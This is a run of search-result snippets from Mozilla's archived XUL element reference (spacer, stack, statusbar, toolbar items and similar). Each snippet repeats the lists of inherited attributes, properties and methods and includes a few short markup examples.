attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollcorner - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width prop...
...erties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), ge...
...tfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
separator - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
spacer - Archive of obsolete content
examples <box> <button label="left"/> <spacer flex="1"/> <button label="right"/> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements separator, splitter ...
spinbuttons - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
stack - Archive of obsolete content
ArchiveMozillaXULstack
--> </hbox> </stack> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related deck ...
statusbar - Archive of obsolete content
properties accessibletype examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), gete...
...lementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements statusbarpanel interfaces nsiaccessibleprovider ...
stringbundle - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related xul property files ...
stringbundleset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , alloweve...
...nts, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattribute...
...(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
tabpanel - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tabbox, tabs, tab, tabpanels.
tabpanels - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related elements tabbox, tabs, tab, tabpanel.
textnode - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
titlebar - Archive of obsolete content
-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattri...
...butens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbargrippy - Archive of obsolete content
properties accessible examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattri...
...bute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbaritem - Archive of obsolete content
em id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" class="toolbarbutton-1" label="labe2l" /> </toolbaritem> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarpalette - Archive of obsolete content
arbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
properties accessibletype examples <toolbox> <toolbar> <toolbarbutton label="button 1"/> <toolbarseparator /> <toolbarbutton label="button 2"/> </toolbar> </toolbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...ementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), g...
...etfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
toolbarspacer - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattrib...
...ute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
